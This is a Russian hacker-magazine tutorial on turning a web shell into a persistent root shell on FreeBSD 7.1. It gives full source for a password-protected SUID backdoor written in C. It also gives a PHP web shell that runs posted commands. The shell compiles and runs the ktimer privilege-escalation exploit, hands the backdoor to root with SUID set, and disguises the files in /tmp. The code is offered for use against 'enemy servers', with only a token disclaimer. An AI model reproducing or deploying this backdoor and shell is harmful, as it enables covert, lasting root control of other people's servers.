• Партнер

  • Сегодня мы с тобой свершим переворот в сложившихся устоях мира. Наверняка, ты
    уже имел дело с web-shell'ами, такими как r57, c99, WSO2 и иже с ними. Так, вот
    о чем я — уверен, зайдя на свежезалитый шелл, ты первым делом смотришь свои
    права в системе, а именно – результат команды "id" в nix-like системах. Вот, к
    примеру, наши права по дефолту uid=80, то есть права обычного юзера www! Не
    отчаивайся, мы научимся поднимать их до r00t'a и сохранять (!) непосредственно в
    веб-шелле. Это мечта любого хакера.

     

    Немного теории

    SUID - расшифровывается как Set user ID, переводится с забугорного –
    "установить идентификатор пользователя". Если установлены права доступа SUID и
    файл исполняемый (то есть наш будущий бинарник), то при выполнении этот файл
    получает не права запустившего его (www), а права владельца файла.

    Эксплойт — в нашем случае это компьютерная программа, использующая уязвимости
    в программном обеспечении и применяемая для повышения привилегий (получения
    рута). Это был вольный пересказ Википедии.

    Root, суперпользователь — специальный аккаунт в UNIX-подобных системах с
    идентификатором (UID) 0, владелец которого имеет право на выполнение всех без
    исключения операций (грубо говоря, да простят меня линуксоиды, это аналог учетки
    Администратора в Windows). Тоже вольный пересказ Википедии.

    Итак, с теорией покончили (надеюсь, было нескучно). Движемся далее...

     

    Наполеоновские планы

    Затея у нас круче, чем у Наполеона, мы собираемся сделать мировую революцию.
    Нам предстоит удивить всех рутовым web-шеллом, которого нет ни у кого! А именно,
    предстоит:

    1. Составить задачу и продумать алгоритм работы нашего чудо-шелла
    2. Накодить SUIDник
    3. Накодить непосредственно сам web-Shell
    4. Связать все эти прелести чудесных языков программирования
    5. Таки получить и сохранить r00t'a на вражеском сервере
     

    Первым делом, первым делом... алгоритмы

    Сначала придумаем алгоритм работы и вообще всю схему получения и сохранения
    рута. Сразу предупрежу, что тестировать наше детище мы будем на сервере с
    установленной FreeBSD 7.1 (причины сего деяния оглашу позже).

    Смысл всей затеи состоит в следующем — мы запустим эксплоит из Web'а, то есть
    непосредственно из нашего любимого браузера, установим суидные права и сменим
    хозяина (owner'a) нашему суиднику и наконец-таки будем выполнять команды под
    рутом.

    Почему же мы выбрали для теста именно FreeBSD 7.1? Все гениальное просто. Мы
    ведь будем юзать эксплойт из веба, а под данную ОСь как раз есть подходящий
    эксплойт ktimer.
    Прелесть в том, что результат его работы — не получение /bin/sh, а установка uid=0,
    gid=0 вызывающему процессу. Это-то нам и нужно.

     

    Пишем SUIDник

    От слов к делу, – я сразу приведу листинг кода, а уж после будем с тобой его
    разбирать.

    #include <stdio.h>
    #include <stdlib.h>
    main(int argc, char *argv[])
    {
    // проверяем количество аргументов
    if(argc == 3){
    //проверяем наш пароль cool_hack
    if(strcmp(argv[1],"cool_hack") == 0){
    // Устанавливаем gid(0) r00t
    setgid(0);
    // Устанавливаем uid(0) r00t
    setuid(0);
    // Выполняем команды с установленными ранее правами
    system(argv[2]);
    }
    }
    return 0;
    }

    Думаю, глядя на комментарии, уже становится ясен смысл нашей программы.

    Сначала мы проверяем количество аргументов – их должно быть три: argv[0] –
    имя самого скомпилированного SUIDника, argv[1] – наш пароль и argv[2]-
    непосредственно сама команда.

    Разберемся с некоторыми моментами работы с бинарными файлами при
    установленном SUID-бите, дабы не возвращаться к этому позднее.

    1. -rwxr-x--x 1 www apache 5043 2009-09-09 13:51 suid
      Файл suid с правами доступа -rwxr-x--x, то есть хозяин файла (www) может
      читать, изменять и запускать на исполнение; члены группы (apache) могут
      читать и запускать файл на исполнение, а все остальные пользователи могут
      лишь запускать на исполнение.
      К примеру, результат команды id через наш файл для членов группы site будет
      подобным uid=80(site), gid=80(site), groups=80(apache)
    2. Устанавливаем бит SUID на файл командой chmod 4751 suid
      -rwsr-x--x 1 www apache 5043 2009-09-09 13:51 suid
      Наверняка, ты заметил, что символ x (запуск на исполнение) сменился на s (SUID
      бит). Как мы уже знаем, бинарник с суид битом будет выполняться не от имени
      вызывающего, а от имени хозяина (owner'a). Опять же, результат команды id
      через наш файл для членов группы site будет подобным uid=80(www), gid=80(www),
      groups=80(apache).
    3. Забегая вперед, обозначим, что нам придется сменить владельца файла. Мы
      это сделаем под рутом командой chown root suid.
      -rwsr-x--x 1 root apache 5043 2009-09-09 13:51 suid
      И снова результат команды id через наш файл будет подобным uid=0(root), gid=0(root),
      groups=80(apache). Исходя из этого, уже видно, что любой пользователь
      системы, даже не входя в состав группы хозяина, имеет право на запуск
      бинарника, да мало того, еще и с правами хозяина, то бишь рута, так как
      установлен SUID-бит.

    Так-с, с этим разобрались. Осталась самая малость, – скомпилировать файл.
    Делаем это командой gcc suid.c -o suid. В итоге получаем бинарный файл suid.
    Пример использования будет таков – "./suid cool_hack id" (имя файла, пароль,
    команда)

     

    Начинаем ][-кодинг

    <?php
    /************************* CONFIGURATION **************************************/
    $pass_suid = 'cool_hack'; // пароль, который мы установили в сорцах суидника
    /************************* END CONFIGURATION **********************************/

    /************************* FUNCTIONS ******************************************/

    /*
    Наша функция по выполнению команд
    Если существует файл /tmp/conf (так мы замаскировали наш суидник),
    то выполнение команд идет через него, иначе просто функцией system.
    */
    function hack_system($cmd,$pass_suid)
    {
    if(file_exists('/tmp/conf')){
    system('/tmp/conf '.$pass_suid.' "'.$cmd.'"'));
    }
    else{
    system($cmd);
    }

    }

    /*
    Вот и главная функция, которая скопирует наш эксплойт и суидник,
    скомпилирует их и запустит
    */
    function give_me_root()
    {
    // компилируем эксплойт
    system('gcc bsd-ktimer.c -o /tmp/configure');
    // компилируем суидник
    system('gcc suid.c -o /tmp/conf');
    // запускаем сплойт, меняем "овнера" суиднику и устанавливаем права
    system('/tmp/configure; chown root /tmp/conf; chmod 4777 /tmp/conf');
    return print 'OK!';
    }

    /************************* END FUNCTIONS **************************************/

    print
    '<html>'.
    '<head>'.
    '<title>r00t web-shell</title>'.
    '</head>'.
    '<body>';

    /************************* MAIN CODE ******************************************/

    /*
    Выводим форму для выполнения команд
    */
    if(!isset($_POST['cmd'])){
    print '<form method="post">'.
    '<input name="cmd" type="text" value="ls -lia">'.
    '<input type="submit" value="Go">'.
    '</form><br><br>';
    }
    else
    {
    hack_system($_POST['cmd'],$pass_suid);
    }

    /*
    Выводим заветную кнопочку для получения рута
    */
    if(!isset($_POST['give_me_root'])){
    print '<form method="post">
    <input type="submit" name="give_me_root" value="Give me r00t">
    </form>';
    }
    else
    {
    give_me_root();
    }
    /************************* END CODE *******************************************/
    print
    '</body>'.
    '</html>';
    ?>

     

    Интеграция, адаптация и прочие непонятные слова

    В итоге мы таки получили рута! При последующем посещении web-шелла мы уже
    будем рутом (при условии, что наш суид-шелл не увидит рут, и не удалит его).

    Однако шелл у нас получился довольно примитивный; чтобы интегрировать наши
    прелести в привычные шелла типа r57, c99, WSO2 и т.д., принцип работы тот же.

    На диске ты найдешь подправленный
    мной код шелла r57. Единственное, что отличает подправленный r57 от того,
    который мы сегодня написали, – в r57 я эксплойт и суид-шелл скомпилировал,
    перевел полученные бинарники в base64 и вставил полученный код в сам шелл. Далее
    мы расшифровываем base64 код и сохраняем в файл. Таким образом, у нас получается
    один файл, – это удобнее в плане транспортирования и заливки.

    С интеграцией в другие шеллы разобрались, осталось разобрать ситуацию с
    применением эксплойтов для других операционных систем и других версий. Причина,
    по которой я выбрал для теста FreeBSD – в том, что этот эксплойт под версию 7.1
    и 7.2 результатом своей работы возвращает не /bin/sh, которой мы бы пользовались
    при простом бекконекте, а возвращает uid и gid 0 для текущего процесса. То есть
    является универсальным. Последний способ для нас удачен, так как мы можем
    использовать его непосредственно из web'a. Так мы пришли к выводу, что для
    использования эксплойта с нашими условиями необходимо переписать эксплойты,
    чтобы они устанавливали uid, gid. Как это организовать - история уже для другой
    статьи.

     

    Итоги наших приключений

    Сразу хочется отметить плюсы и минусы этого подхода к получению рута.

     

    Плюсы

    • Получаем права Root на веб-шелле
    • Не нужен сервер для бекконекта
    • Обход файрвола, так как нет исходящих соединений, бинда порта и т.д. (а
      зачастую это большая проблема для создания бекконекта)
     

    Минусы

    • Пока есть малое количество эксплойтов, которые мы можем использовать;
      остальные нужно редактировать
    • Если наш шелл попадет к недругам, либо просто к нечистым на руку, то
      злодеи получат уже готовенький root-шелл без особых усилий. Так что
      защищайте свой шелл!
     

    WWW


    http://milw0rm.com/exploits/8261
    - эксплоит bsd-ktimer.c.

    http://wiki.kryukov.biz/wiki/Специальные_права
    - описание SUID, SGID и Stiky
    битов.

     

    DANGER

    Внимание! Редакция журнала и автор не несут ответственности за вред,
    возможно, причиненный при использовании методов и файлов данной статьи. Статья
    представлена только для ознакомления в образовательных целях.

     

    INFO

    Выражаю благодарность за советы, тестирование и помощь следующим
    подозрительным личностям - IceAngel_, oRb, jokester.

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии